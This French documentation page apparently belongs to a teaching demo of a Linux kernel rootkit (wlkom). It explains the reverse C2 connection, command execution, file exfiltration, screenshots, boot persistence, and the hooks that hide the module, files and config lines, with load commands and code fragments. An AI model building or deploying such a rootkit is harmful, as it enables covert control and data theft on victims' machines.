Fonctionnalités rootkit
Cette page détaille les fonctionnalités une par une: comment elles sont faites, quels fichiers les portent et pourquoi elles fonctionnent dans le projet. Les notions kernel utilisées ici sont expliquées plus lentement dans Références techniques.
Compilation
Fichiers:
rootkit/Makefile
rootkit/src/
rootkit/include/
Commande source:
cd rootkit
make
Commande dans la VM attaquante:
~/build-demo-rootkit.sh
Le Makefile construit un module externe:
obj-m += wlkom.o
ccflags-y := -I$(src)/include
wlkom-objs := \
src/core/main.o \
src/core/module_parameters.o \
src/core/symbols.o \
src/crypto/xor_stream.o \
src/storage/hidden_directory.o \
src/userland/helper_runner.o \
src/userland/file_reader.o \
src/commands/command_capture.o \
src/commands/file_transfer.o \
src/commands/screenshot.o \
src/hooks/hidden_names.o \
src/hooks/dirent_filter.o \
src/hooks/dirent_hooks.o \
src/hooks/read_filter.o \
src/hooks/ftrace_hooks.o \
src/network/socket_io.o \
src/network/command_router.o \
src/network/protocol.o \
src/network/connection.o
KERNEL_DIR := /lib/modules/$(shell uname -r)/build
Pourquoi compiler côté attaquant? La victime n'a pas besoin de headers ni de chaîne de compilation. Elle télécharge seulement le .ko. La contrainte est le vermagic: le module doit être compilé pour le même noyau que celui qui le charge. Pour le détail de Kbuild, voir Kbuild et vermagic.
Connexion reverse persistante
Fichiers:
rootkit/src/network/connection.c
rootkit/src/network/socket_io.c
rootkit/src/network/protocol.c
rootkit/src/network/command_router.c
attacking_program/backend/rootkit/controller.py
attacking_program/backend/rootkit/transport.py
Le module contacte:
192.168.100.1:4444
Boucle kernel:
sock_create_kernkernel_connect- échec:
ssleep(10)puis nouvel essai - succès: reset des offsets crypto
- handshake
- session authentifiée
- fermeture socket,
ssleep(5), retry.
À l'arrêt du module, kernel_sock_shutdown(..., SHUT_RDWR) coupe la socket active avant kthread_stop(). Cela évite qu'une réception bloquée dans kernel_recvmsg() empêche le thread de terminer.
Les notions kthread_run, kthread_stop, ssleep, sock_create_kern, kernel_connect, kernel_sendmsg, kernel_recvmsg et kernel_sock_shutdown sont expliquées dans Kthreads et Sockets kernel.
Pourquoi une connexion reverse? La victime n'expose pas de port d'écoute. Le module initie la communication vers l'attaquant, ce qui permet au dashboard d'attendre passivement et d'afficher un état clair.
Schéma mental:
wlkom.ko -> socket TCP vers 192.168.100.1:4444 -> backend Flask -> dashboard React
Le dashboard ne parle pas directement au noyau. Il demande au backend d'envoyer une ligne chiffrée sur la socket.
Mot de passe
Le mot de passe est fourni au chargement:
sudo insmod wlkom.ko attacker_ip=192.168.100.1 command_port=4444 password='secret'
Il est obligatoire:
if (!wlkom_password || !wlkom_password[0]) return -EINVAL;
Il sert à:
- comparer la ligne reçue pendant le handshake
- dériver la clé XOR
- recharger le module après reboot via
/etc/modprobe.d/wlkom.conf.
Dans module_parameters.c, le paramètre password est déclaré avec permission 0000. Il n'est donc pas exposé en lecture simple dans /sys/module/wlkom/parameters/.
Voir Paramètres de module pour comprendre module_param_named et les permissions octales.
Si le mot de passe est faux, le module renvoie:
Bad password.
Puis il ferme la socket. Ce choix évite de garder une session ambiguë. Le thread réseau retente ensuite une nouvelle connexion.
Chiffrement réseau
Fichiers:
rootkit/src/crypto/xor_stream.c
rootkit/src/network/socket_io.c
attacking_program/backend/rootkit/crypto.py
attacking_program/frontend/src/crypto.js
Le calcul:
password -> FNV-1a 64-bit -> clé 16 octets -> XOR de flux
Chaque octet est transformé avec:
data[i] ^= key[(offset + i) % 16]
Il existe deux offsets:
| Offset | Côté module | Côté backend |
|---|---|---|
| émission module | send_crypto_offset | rx_offset |
| réception module | receive_crypto_offset | tx_offset |
Pourquoi les offsets sont indispensables? TCP est un flux. Un message envoyé en une fois peut être reçu en plusieurs morceaux, et plusieurs petits messages peuvent arriver ensemble. L'offset transforme le XOR en flux continu plutôt qu'en chiffrement par message.
Limite: FNV-1a et XOR ne sont pas un chiffrement robuste. Ils masquent les octets dans Wireshark, mais n'apportent ni intégrité, ni nonce, ni authentification forte.
Handshake
Dans protocol.c:
- le module envoie
KOZACITEAM \nPassword:chiffré - il lit une ligne chiffrée
- il compare avec
wlkom_password - il envoie
Authenticated.\nouBad password.\n - il envoie le prompt
wlkom>avant chaque commande.
Point subtil: la bannière est déjà chiffrée avec une clé dérivée du mot de passe réel. Si l'opérateur saisit un mauvais mot de passe côté dashboard, le backend peut ne même pas réussir à déchiffrer Password:. Le résultat attendu est donc un timeout ou authentication failed, puis la fermeture de la socket. Le rootkit retente ensuite automatiquement une connexion.
Côté backend, la socket arrive d'abord dans _pending_sock. Elle ne devient _sock que si le backend déchiffre la bannière, envoie le mot de passe et lit la confirmation.
Exécution de commandes
Fichiers:
rootkit/src/commands/command_capture.c
rootkit/src/userland/helper_runner.c
rootkit/src/userland/file_reader.c
Le module encapsule la commande:
(<commande>) > /opt/wlkom_data/.cmd.out 2>&1; echo "[exit:$?]" >> /opt/wlkom_data/.cmd.out
Puis lance:
call_usermodehelper("/bin/sh", argv, envp, UMH_WAIT_PROC)
Pourquoi ça fonctionne? call_usermodehelper permet à un module kernel de demander au noyau de lancer un programme userland. Ici, /bin/sh gère les pipes, redirections, commandes complexes et codes de retour. Le module attend la fin, relit .cmd.out, extrait [exit:N], supprime le fichier puis renvoie la sortie.
Les primitives call_usermodehelper, UMH_WAIT_PROC, kernel_read, filp_open et les pointeurs d'erreur sont détaillées dans call_usermodehelper, Lecture de fichiers depuis le noyau et Pointeurs d'erreur.
Le backend garde aussi un cwd logique: une commande normale est envoyée sous forme cd <cwd> && <commande>, tandis qu'un cd simple met à jour l'état côté contrôleur.
Le module ne maintient donc pas un shell interactif permanent. Chaque commande est une exécution séparée. C'est pour cela que le cd durable est géré côté backend.
Upload fichier
Le backend utilise uniquement le protocole chunké:
upload-begin <path>
upload-append <base64> <path>
Pourquoi chunker? Le module lit une commande entrante dans une ligne de WLKOM_RX_SIZE = 160 KiB. Un fichier entier en base64 dépasse vite cette limite. Le backend calcule donc une taille de chunk qui permet à:
upload-append <base64> <path>
de tenir dans une seule ligne kernel.
Le plafond d'upload est volontairement fixé à 120 KiB de base64, soit environ
90 KiB bruts. Comme l'append passe encore par /bin/sh -c, le base64 est
inclus dans l'argument shell avec le wrapper printf, la redirection et le
chemin distant. Cette marge évite de coller aux limites Linux sur la taille d'un
argument unique. Un protocole streaming binaire permettrait des frames plus
grandes, mais il serait moins pédagogique pour cette démo.
Conséquence côté mémoire: upload-begin et les commandes de download courtes
restent en kzalloc/kfree, tandis que upload-append utilise
vzalloc/vfree, car la commande shell complète peut approcher 128 KiB.
Pour les différences entre kzalloc, vzalloc, kvzalloc, GFP_KERNEL et les fonctions de libération, voir Allocations mémoire kernel.
Côté module:
upload-begincrée le parent et tronque le fichierupload-appenddécode le chunk base64 et l'ajoute au fichier.
Le backend shell-quote le chemin avant de l'envoyer. Le module suppose que ce quoting est déjà fait.
Download fichier
Le download fichier utilise uniquement le protocole chunké. Le backend commence par récupérer la taille distante avec stat, puis demande le fichier morceau par morceau:
download-chunk <offset> <length> <path>
Le module exécute:
dd if=<path> bs=1 skip=<offset> count=<length> 2>/dev/null | base64 -w0
et répond:
FILE-CHUNK:<offset>:<length>:<path>
<base64>
[exit:0]
Chaque chunk demandé fait au plus 256 KiB côté backend. Le module refuse les demandes supérieures à 512 KiB, ce qui laisse une marge sans permettre une réponse trop grosse pour le buffer réseau.
Download dossier
Le module n'a pas de commande spéciale native pour les dossiers. Le backend crée d'abord une archive temporaire côté victime:
/opt/wlkom_data/.download-dir.tar.gz
Ensuite, il réutilise le download fichier chunké pour récupérer cette archive morceau par morceau, puis il supprime l'archive temporaire. Cela évite de faire passer tout le dossier dans une seule réponse shell limitée par WLKOM_TX_SIZE.
Aperçu fichier
Le frontend appelle:
POST /api/rootkit/preview-file
Le backend refuse l'aperçu si le fichier distant dépasse 512 KiB. Pourquoi? L'aperçu doit rester interactif. Pour les gros fichiers, le bouton Download utilise le flux chunké.
Screenshot
Commande protocolaire:
screenshot
Le module génère un script shell qui:
- identifie une session graphique avec
loginctlsi disponible - retrouve l'utilisateur, l'UID, le home et le display
- choisit un outil disponible parmi
gnome-screenshot,scrot,import,xwd + convert - lance l'outil sous l'utilisateur graphique avec
runuser - encode le PNG en base64 entre deux marqueurs.
Marqueurs:
__WLKOM_SCREEN_BEGIN__
__WLKOM_SCREEN_END__
Le backend extrait ce bloc, sauvegarde un PNG et le renvoie au navigateur.
Pourquoi c'est best-effort? Une capture graphique dépend de la session utilisateur, de Wayland/X11, des variables d'environnement, des permissions et des outils installés. Le module renvoie un diagnostic texte si aucun outil ne fonctionne.
Persistance
La persistance est installée par freecloude.sh, pas par wlkom.ko.
Fichiers:
/lib/modules/$(uname -r)/kernel/drivers/wlkom.ko
/etc/modules-load.d/wlkom.conf
/etc/modprobe.d/wlkom.conf
Contenu logique:
/etc/modules-load.d/wlkom.conf:
wlkom
/etc/modprobe.d/wlkom.conf:
options wlkom attacker_ip=192.168.100.1 command_port=4444 password=<secret>
Pourquoi ça fonctionne? Au boot, systemd-modules-load lit modules-load.d et demande au noyau de charger wlkom. modprobe cherche le module dans /lib/modules/$(uname -r), applique les options de modprobe.d, puis le module démarre comme lors du chargement initial.
Pourquoi l'installer côté script? Le module reste concentré sur le transport, les hooks et les commandes. Le script utilisateur peut vérifier le vermagic, installer les fichiers et éviter une persistance cassée si insmod échoue.
Pourquoi préparer avant insmod? Les hooks d'accès protègent aussi le module persistant dans /lib/modules/.../wlkom.ko. Une écriture après activation peut donc être refusée par openat, statx, access ou unlinkat. Le flux actuel prépare la persistance après validation du vermagic, charge le module, puis supprime les fichiers préparés en cas d'échec runtime.
Masquage du module
Fichier:
rootkit/src/core/main.c
Code:
list_del_init(&THIS_MODULE->list)
Effet: lsmod et /proc/modules ne voient plus l'entrée classique du module.
Le fonctionnement de THIS_MODULE->list et list_del_init est expliqué dans Masquage du module.
Limite: cela ne supprime pas nécessairement /sys/module/wlkom, les logs dmesg, les références noyau ou les traces déjà observées.
Masquage fichiers et dossiers
Fichiers:
rootkit/src/hooks/dirent_hooks.c
rootkit/src/hooks/dirent_filter.c
rootkit/src/hooks/hidden_names.c
rootkit/src/hooks/access_hooks.c
Règles:
- nom contenant
wlkom - nom égal à
wlkom_data - nom commençant par
.wlkom - artefacts runtime
.cmd.out,.screen.png,.screen.txt - lecture d'un répertoire situé sous
/opt/wlkom_data - accès directs refusés vers
/opt/wlkom_data,/sys/module/wlkomet le module persistantwlkom.ko.
Pourquoi ça fonctionne? Les listings sont filtrés via getdents*, puis les accès directs sont bloqués via les hooks de chemins comme openat, statx, access et readlinkat. Le dossier n'est donc pas seulement caché: son accès userland est interdit.
Le détail important pour comprendre le code: getdents* ne voit que des noms dans un dossier, alors que openat et statx reçoivent des chemins. Ce sont deux problèmes différents, donc deux familles de hooks différentes.
Pour les concepts bas niveau, voir getdents, linux_dirent et d_reclen, fdget/d_path et Résolution de chemins kernel.
Masquage des lignes de persistance
Fichiers:
rootkit/src/hooks/read_filter.c
rootkit/src/hooks/hidden_names.c
Les hooks read, pread64 et readv ciblent les chemins de persistance. Le module construit une vue filtrée du fichier puis renvoie seulement la portion demandée par l'appelant. mmap est refusé sur ces fichiers pour éviter de contourner le filtre.
Le filtre ne retire que les lignes ajoutées par le projet:
wlkom
options wlkom ...
/opt/wlkom_data
/lib/modules/.../wlkom.ko
Pourquoi ce filtre est ciblé? Lire tout /etc/modprobe.d ou tout /etc/modules-load.d ne doit pas casser les outils normaux. On retire seulement les lignes liées au rootkit, pas tout le fichier.
mmap est refusé sur ces fichiers parce qu'un programme pourrait mapper le fichier en mémoire sans passer par read. C'est un exemple typique de détail kernel qui paraît secondaire, mais qui casse un masquage si on l'oublie.
Voir Hooks de lecture, readv et iovec et mmap pour relire ces cas sans retourner dans le code.
Repères dans le code
| Fonctionnalité | Fichiers principaux |
|---|---|
| Compilation | Makefile, rootkit/src/, rootkit/include/ |
| Init module | src/core/main.c, src/core/module_parameters.c |
| Résolution symboles | src/core/symbols.c |
| Hooks | src/hooks/ftrace_hooks.c, dirent_hooks.c, read_filter.c |
| Masquage noms | src/hooks/hidden_names.c, dirent_filter.c, access_hooks.c |
| Connexion | src/network/connection.c, socket_io.c, protocol.c |
| Commandes | src/commands/command_capture.c, userland/helper_runner.c |
| Transferts | src/commands/file_transfer.c, backend/rootkit/files.py |
| Screenshot | src/commands/screenshot.c, backend/rootkit/screenshots.py |
| Crypto | src/crypto/xor_stream.c, backend/rootkit/crypto.py, frontend/src/crypto.js |
| Persistance | web_payloads/freecloude.sh, served/setup-victim.sh |
Pour approfondir
- Vue d'ensemble pour l'ordre d'initialisation.
- Canal reverse et commandes pour le protocole C2 et les limites du pseudo-shell.
- Hooks et masquage pour
ftrace,getdents,read,mmap, les hooks par chemin et le masquage. - Actions userland pour les helpers shell, les transferts et les screenshots.
- Références techniques pour les primitives noyau.
- Chiffrement pour l'exemple complet FNV-1a/XOR.
- Backend attaquant pour l'autre moitié du protocole.